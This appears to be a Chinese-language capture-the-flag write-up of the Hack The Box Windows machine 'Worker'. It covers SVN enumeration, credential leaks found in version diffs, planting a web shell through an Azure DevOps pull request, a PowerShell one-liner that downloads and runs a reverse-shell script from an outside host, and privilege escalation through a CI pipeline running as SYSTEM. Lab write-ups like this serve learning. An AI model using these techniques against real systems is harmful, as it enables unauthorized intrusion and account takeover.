前言
基于国内Windowws
靶机确实不多,且自己对Windows
靶机渗透的流程和方法实在掌握的很少,因此在HTB
上选择一个难度系数适中的Windows
靶机,记录一下渗透历程,希望和大家一起学习!
相关知识点
- nmap端口扫描
- svn命令利用
- evil-winrm的使用
正文
openvpn
连接好代理后,访问靶机IP地址发现是一个Windows Server
的服务器:

至少证明80
端口开放,先信息收集一波,nmap
查看版本和端口号,发现只开了80、3690、5985
三个端口:

我们知道80
端口使用IIS 10.0
而3690
是svn
服务的默认端口
SVN是Subversion的简称bai,是du一个开放源代码的版本控制系统,svn是代码管理的一个工具。zhi它分为服务器端和客户端dao。服务器端运行在某一台服务器或者电脑上。服务器端通过配置文件管理用户名 密码 的配置,以及他们对软件项目目录的访问权限配置。
而5985
端口可能是关键突破口:
必须要介绍一下
evil-winrm
这款工具:evil-winrm是Windows远程管理(WinRM) Shell的终极版本。Windows远程管理是“WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防火墙影响的协议,允许不同供应商的硬件和操作系统相互操作。而微软将其包含在他们的系统中,是为了便于系统管理员在日常工作中,远程管理服务器,或通过脚本同时管理多台服务器,以提高他们的工作效率。此程序可在启用此功能的任何Microsoft Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。因此,我们说它可用于黑客攻击的后利用/渗透测试阶段。相对于攻击者来说,这个程序能为他们提供更好更简单易用的功能。当然,系统管理员也可以将其用于合法目的,但其大部分功能都集中于黑客攻击/渗透测试。
鉴于目前完全不知道用户名和密码,因此我们先一个一个端口进行分析,先从80端口分析:
信息收集
首页源码没有任何有用信息,直接对网站进行根目录爆破,这里使用dirsearch
,也可以使用gobuster
进行枚举:

存在两个目录但是均无法正常访问,因此从80
端口很难找到利用点进行突破,因此转战3690
端口进行分析:
SVN命令使用:
svn add --force * //将当前目录下的新增加文件添加到控制版本
svn commit -m “提交当前目录下的全部在版本控制下的文件“ * ( *表示全部文件 ) //提交上传文件
svn status //查看当前文件路径下新增和修改的文件名
svn diff //查看当前文件路径下修改文件的差异点
svn info 文件名 //查看文件的svn信息,包含svn路径和svn版本
svn checkout svn路径 -r svn版本号 //下载某一版本的svn代码
svn relocate http://www.example.com/repo/project svn://svn.example.com/repo/project //更改svn地址
svn cleanup //清除工作副本
svn log path //查看日志(显示文件的所有修改记录,及其版本号的变化)
这里直接google发现nmap
有svn brute脚本 https://nmap.org/nsedoc/scripts/svn-brute.html
不妨先使用该脚本来进行svn brute
nmap.exe -p 3690 --script ./scripts/svn-brute.nse svn-brute --script-args svn-brute.repo=/svn/ 10.10.10.203

存在未授权访问,即不需要用户名和密码,那就可以使用上述的svn
命令来查看其存在的文件或者其他信息
svn list svn://10.10.10.203
svn log svn://10.10.10.203


可以发现,在文件的更新中存在这样的描述,增加了部署脚本,这里直接使用svn checkout
将所有代码下载到本地进行查看
svn checkout svn://10.10.10.203
下载得到了网站的整个源码,接下来要干的自然是代码审计,接下来进入该环节
代码审计
分析到这里,似乎没有其他问题,但是我们既然得到了网站源码,为什么在刚刚网页枚举中并没有得到任何有效信息,如果成功部署的话,肯定存在其他网页,但是我们刚刚爆破枚举的站点却像一个空站,答案就在moved.txt
中
#moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb
// The Worker team :)
该站已经部署到了http://devops.worker.htb
中,而在该IP中已经不在保留,因此我们将该地址添加到hosts
文件中以便我们访问该站,配置好hosts
文件后访问该地址,发现存在HTTPbasic认证:

抓包发现是NTML验证
NTLM是NT LAN Manager的缩写,NTLM是基于挑战/应答的身份验证协议,是 Windows NT 早期版本中的标准安全协议。Net-NTLMv1协议的基本流程如下:
- 客户端向服务器发送一个请求
- 服务器接收到请求后,生成一个8位的Challenge,发送回客户端
- 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器
- 服务器校验response
本来的思路是想对其进行爆破,但是后来证明爆破是徒劳的,审计代码也没有新的发现,代码都是关于页面布局的一些代码,并且扫描目录也没有得出任何结果,就在一筹莫展的时候,之前的svn log
带来了灵感,由以上我们知道一共有五个不同版本,不同版本之间的更新描述也写在其中,那直接使用svn diff
来查看不同版本之间的区别:
svn diff svn://10.10.10.203 -r1 #分别diff五个版本
在diff r2和r3
时发现了部署的不同,也对应之前的更新描述


知道了$pwd
的逻辑就是将明文进行ConvertTo-SecureString
,起初以为这是自己写的某个加密类,发现原来是微软自带的将明文加密的方法,该方法是PowerShell 脚本中的密码保存的方法!

把密码转为 SecureString
先来了解下面两个概念:
SecureString
Encrypted Standard String
SecureString
是.net
中的一个类型,它是为了解决安全性而设计出来的一种特殊的字符串类型。比如你使用一个密码字符串创建 SecureString 对象,你无法通过这个对象还原出原来的密码字符串,但是却可以把 SecureString
对象当做密码使用。
Encrypted Standard String
是指经过加密后的一个字符串。
ConvertTo-SecureString 命令可以通过明文的字符串创建 SecureString 对象:
$SecurePwd = ConvertTo-SecureString "123456" -AsPlainText -Force
然后再使用 $SecurePwd 创建 Credential 等身份信息。
把 SecureString 转为加密字符串
通过ConvertFrom-SecureString
命令,我们可以把一个 SecureString 对象转换成一个Encrypted Standard String
(加密后的一个字符串),然后保存到文件中。在创建 Credential 时直接使用前面保存的文件,从而避免明文密码在系统中出现。
$SecurePwd = ConvertTo-SecureString "wendel98" -AsPlainText -Force
ConvertFrom-SecureString $SecurePwd

但在这里我们已经知道明文用户名和密码,可以选择直接登录,就在这个地方卡住了很久,原因是使用chrome
或者firefox
进行登录时,basic
一直认证失败,起初我以为是口令不对,然后思考了很久,最后以同样的用户名和口令在edge
浏览器中登陆成功,此处我也不太了解原因,有知道的师傅可以评论指点一下。登录完成后发现是一个微软旗下的协同平台azure devops
,在repos
中发现其网站部署代码,那我们只需要上传一个小马,并且访问它即可getshell
,根据信息收集,该WEB服务器是IIS 10.0
,选择上传asp,aspx
马

权限不足,这里代码协同平台和Github
是十分相似的,我们可以考虑新建一个分支,在该分支上上传小马后将两个分支进行合并,这样该master
分支就会新增一个asp
文件

记得点击创建拉取请求,否则可能无法将该文件拉取,可以看到创建完成后会出现拉取页面,这里只需要合并即可

拉取请求成功后我们回到master
主分支可以发现,我们的小马已经成功上传:

不过很短的时间内就会全部清空,判断可能是设置了cron
定时任务,因此我们要快速的连上马后反弹shell
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.100:8080/Invoke-PowerShellTcp.ps1');"
使用nishang Invoke-PowerShellTcp.ps1
建立反弹shell,此处起一个python的简单HTTP服务即可
此处可能由于路由配置问题一直无法成功反弹shell,不断尝试后还是放弃了,选择用cmd.aspx
执行powershell
get-psdrive -psprovider filesystem #获取系统磁盘
在C
盘用户目录下发现用户robisl
发现两个分区,在W:\svnrepos\www\conf\
中包含passwd
文件

因此读取该文件发现存在很多用户名和口令对,这些口令有可能为系统用户的口令或者其他服务的口令,因此我们先将其全部保存

分析到这里,
这里发现robisk
是存在口令的,判断可能为该用户的密码,使用evil-winrm
尝试进行连接:
ruby /home/crispr/evil-winrm/evil-winrm.rb -u robisl -p wolves11 -i 10.10.10.203

成功得到robisl
用户权限,并且发现user.txt
,接下来需要做的就是进行提权成为Administrator
,得到该用户口令后,不妨尝试是否在devops
上同样存在该用户,使用robisl:wolves11
进行登录:

的确存在该项目,这里可以使用管道来进行任意命令执行
管道(Pipeline)
持续集成(CI)是每当团队成员提交变更至版本控制系统后,自动化生成并测试代码的过程。
管道(Pipeline)定义了应用程序的持续集成过程。管道由很多步骤组成,这些步骤被称为任务(Task)①。可以把管道任务想象成一段脚本,这段脚本定义了应用如何逐步被生成、测试、部署
管道在代码被提交后被触发运行②。管道可以被设置为自动运行,也可以手动运行。管道需要对接到代码仓库,比如GitHub,Bitbucket或者Subversion。
任务代理(Build Agent)③生成或部署代码。每当生成或部署开始时,系统会启动一个或多个任务(jobs)。任务代理(Agent)是每次运行生成或部署任务时运行的可被安装的软件。在使用Azure Pipelines时,我们可以使用Microsoft-hosted agend。使用Microsoft-hosted agents,我们得以免于亲自管理。管道每次事实上运行于一个新建的虚拟机里。一共有六种类型的虚拟机镜像可供选择,比如Ubuntu 16.04。
管道的最终产物是build artifact④,Artifact可以被视为编译得到的需要被测试或部署的最小的单元。比如,artifact可以是:
- 一个打包成.jar或.zip文件的Java或.net应用
- 一个C++或Javascript库
- 一个虚拟机,云或Docker镜像
我们创建一个新的管道,并且使用powershell
来执行命令:

注意把pool
修改为其他名称,否则会出错,当Test1
完成后,我们查看发现该管道是以system
执行的,因此我们在增加一个管道,修改管路员密码,最终用该管理员账户登录即提升权限


等待管道进程执行,在使用evil-winrm
进行连接
ruby evil-winrm.rb -u administrator -p Admin123ASD -i 10.10.10.203
得到system
权限,查看root.txt
:
